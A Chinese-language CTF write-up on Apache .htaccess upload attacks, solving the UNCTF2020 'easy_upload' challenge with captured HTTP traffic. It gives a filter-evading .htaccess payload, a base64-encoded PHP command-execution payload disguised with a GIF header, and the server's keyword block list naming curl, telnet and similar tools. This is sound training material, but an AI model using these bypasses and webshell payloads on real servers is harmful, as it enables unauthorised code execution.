htaccess 相關攻擊/繞過原理
目錄
- htaccess 相關攻擊/繞過原理
- 1. htaccess 的概念
- 2. 歷年CTF練習題
- 2.1 UNCTF2020 - easy_upload
該檔案一直會處于更新的狀態
1. htaccess 的概念
htaccess ,也被稱為“分布式組態檔”,被用來作為服務器端的目錄下配置網頁檔案,即開發者可以利用這個檔案加入對于后端操控的指令,來控制目錄及其所有的子目錄,被廣泛用于 Apache 服務器中,
htaccess 的作用:
- 進行網頁內容的重定向;
- 自定義 404 錯誤頁面;
- 改變檔案的擴展名;
- 允許/阻止 用戶去訪問特定的目錄;
- 禁止相關目錄串列;
- 設定后端基本默認檔案的功能;
htaccess 的缺點:
- 容易被非授權的用戶編輯的
htaccess檔案覆寫,從而導致整個后端的安全性降低,因此容易被 Bypass,
htaccess 的語法:
- 第一,為后端不能執行的檔案型別增加執行的權限,即將
ppt后綴的檔案當作php檔案執行;
處理 PHP 檔案時用到: Add Type,即: Add Type application/x-httpd-php .php
上述的代碼將所有 .php 為后綴的所有檔案當作了 PHP 的檔案進行處理,可能這么說會有一點別扭,但是其實從 htaccess 容易被繞過的特性,上邊的陳述句可以被攻擊者篡改,從后邊的CTF的題目可以詳細了解到這個覆寫的程序,
- 第二,在
htaccess的檔案中增加對應的 Require 檔案;
php_value auto_append_file "php://filter/convert.base64-decode/resource=mn.ppt"
上邊的這條命令,為所有的PHP檔案增加了:參考外部PHP的檔案,參考的格式被規定成了 base64 的編碼形式,因此這種配置可以繞過檔案內容的字符檢查形式;
2. 歷年CTF練習題
第一篇都稍微有點啰嗦,后邊的會精簡很多..
2.1 UNCTF2020 - easy_upload
題目的地址:https://unctf.hackingfor.fun/#/train
這個題目稍微有一點難,我也是基本上做了好久好久才真的完整地做出來,因此看這個部分的題目稍微有點耐心,
首先需要分析這個頁面,頁面的構成非常簡單,就是這個圖片:

分析一下,好像沒有啥分析的,從簡單的界面上就可以看出來,代碼沒幾行,一個 form 一個 button 就解決了問題,最后一行給出回顯,
但是還是稍微分析一下原始碼:

并沒有什么指導的意義,因此我們需要嘗試一下能夠上傳檔案的型別,可以撰寫幾個簡單的測驗例子來試一下后臺的邏輯,首先需要確定,后臺邏輯處理的語言型別到底是什么?是 PHP 還是 Python?
這個時候用到了非常好用的一個神器:Burp Suite ;
其實我一開始對整個軟體也是非常陌生的,因此并不知道怎么使用,只知道 需要掛起代理,這里稍微詳細地說一下怎么使用這款軟體,
對于初始化Burp Suite就不詳細地去說了,簡單的默認配置即可,下圖說一下用到的具體Tab:

首先需要點擊 Proxy 的 Tab 來打開代理,進行監聽,內嵌的瀏覽器的內核為:Chrome,回應可能會比較慢,需要一定的耐心來等待,

在瀏覽器輸入題目的網址,然后等待回應,這個時候新的請求通過:Proxy - HTTP history 就可以看到,

我們先需要創建一些流量來進行分析,我們需要構建一些常見的檔案型別來進行判別,首先必須明確的是構建的必須是可執行的檔案,因此可以構建的為: PHP 以及 Python 的檔案,
嘗試構建的PHP檔案,demo.php:
<?php
echo "Hello!";
>
構建一個新的請求(Request),即上傳上邊給出的 demo.php 的相關內容,
POST /index.php HTTP/1.1
Host: 1621bb01-be92-4656-9330-c599397adc4f.node1.hackingfor.fun
Content-Length: 311
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1621bb01-be92-4656-9330-c599397adc4f.node1.hackingfor.fun
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye9lG1eyj1bI6326S
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1621bb01-be92-4656-9330-c599397adc4f.node1.hackingfor.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarye9lG1eyj1bI6326S
Content-Disposition: form-data; name="fileUpload"; filename="demo.php"
Content-Type: text/php
<?php
echo "Demo!";
>
------WebKitFormBoundarye9lG1eyj1bI6326S
Content-Disposition: form-data; name="upload"
submit
------WebKitFormBoundarye9lG1eyj1bI6326S--
在上邊的給出的結果需要明晰,就是 Accept 給出了接受的型別,從上邊來看接受的型別主要包括了:xml 以及 image/apng,即可以接受與圖片相關的檔案內容,
下邊需要分析一下接收的回顯(Response);
提示錯誤 - "filename error",即不能接收與 .php 后綴相關的檔案;
我們需要明確一下下邊的內容:首先第一個需要明確的,是 openresty ,這是一個 Nginx 的一個高性能 Web 服務器,在這個服務器配置中是允許修改.htaccess的檔案的,其次就是必須要注意到,后臺的PHP版本:PHP/5.4.16,這些都是非常關鍵的資訊點,
HTTP/1.1 200 OK
Server: openresty/1.17.8.2
Date: Thu, 18 Mar 2021 12:57:27 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 958
Connection: close
X-Powered-By: PHP/5.4.16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>UPLOAD</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="https://www.cnblogs.com/doherasyang/p/style/css/style1.css">
<link rel="stylesheet" type="text/css" href="https://www.cnblogs.com/doherasyang/p/style/css/style2.css">
</head>
<body>
<div >
<div >
<h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="https://www.cnblogs.com/doherasyang/p/submit">
<p style="text-align: center">
<strong>filename error</strong>
</br>
<strong></strong>
</br>
<strong></strong>
</p>
</form>
</div>
</div>
</body>
</html>
從上邊看,想在后端執行 PHP 的相關代碼,構建一個假的 png 的檔案包含 PHP 代碼,放到后端執行;
對上邊的檔案名,稍作一下修改,即上傳一個假的 PNG 圖片,更改demo.php 的后綴為 demo.png,上傳,通過 Burp Suite 的代理分析資料包,發送的包的內容如下:
------WebKitFormBoundaryWhgXY768XH84AqlX
Content-Disposition: form-data; name="fileUpload"; filename="demo.png"
Content-Type: image/png
<?php
echo "Demo!";
>
得到的回顯(Response),發現了非法字符 的包含內容:
<p style="text-align: center">
<strong>perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!</strong>
</br>
<strong></strong>
</br>
<strong></strong>
</p>
因此我們不能在上傳的內容中包含 php 相關的字符,因此需要用到正則運算式 或者 base64 的加密編碼來繞過相應的檢查機制,但是首先我們必須制作一個 htaccess 的模板檔案來將所有的 ppt 檔案后綴識別成 php 檔案,因此可以被后端的 PHP 框架執行;
構建一個新的htaccess檔案,因為我使用的是 Mac OS 的作業系統,在這個作業系統下所有的.*型別檔案都會被隱藏,如果你想要顯示所有的隱藏檔案,按住: Shift + Command + .,在上傳的界面也是這個組合鍵就可以找到隱藏的上傳檔案了,
.htaccess 檔案的內容:
AddType application/x-httpd-p\
hp .ppt
p\
hp_value a\
uto_append_file "p\
hp://filter/convert.b\
ase64-decode/resource=mn.ppt"
解釋一下上邊的內容,因為對 非法字符敏感,可以使用編碼的 \ 進行繞過;另外就是將所有 ppt 后綴的檔案當做了 PHP 進行執行;為我們即將上傳的 mn.ppt 添加 base64 編碼決議,
撰寫完成之后,通過 Burp Suite 軟體修改 Content Type,操作流程為:瀏覽器上傳 - Burp Suite (Proxy - HTTP history)- 選中對應的條目 - 右鍵條目 - 選中:Send to Repeater - 修改 Content-Type: image/jpeg - 單擊 Send, 重放一下我們之前的資料包,



我們現在已經知道了相關檔案的存盤路徑了,現在,需要撰寫關于的 PHP 代碼的內容,原始碼的內容為:
<?php system('cat /flag');?>
經過 base64 編碼之后的內容為:
PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
偽裝一下即將發送的檔案內容,前邊增加一下 jpeg 的開頭: GIF89a12
即 mn.ppt 的內容為:
GIF89a12
PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
還是使用剛才重放的辦法,上傳到靶機的后端,只要上傳之后出現對應的路徑資訊即可;

訪問對應的路徑下的檔案,我們已經得到了 flag 的值;

一些思考:
1.后端的 Server API 到底是不是 openresty/1.17.8.2?
將檔案 mn.ppt 內容更改一下,即 PHP 內容為:
<?php phpinfo();?>
Base64 編碼:
PD9waHAgcGhwaW5mbygpOz8+
得到:

發現:Server API 的版本為: Apache 2.0 Handler,即不是 Response 回顯的相關內容,即存在對于后端回傳的修改,這種情況怎么去判別呢?
- 目前我也不知道怎么去判別,因為一般來說做了負載均衡就很難知道 Server 的型別是什么了...
- 這個問題留到后邊再慢慢解決...
參考一個論壇:https://segmentfault.com/q/1010000000659515
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/273534.html
標籤:其他
上一篇:服務器
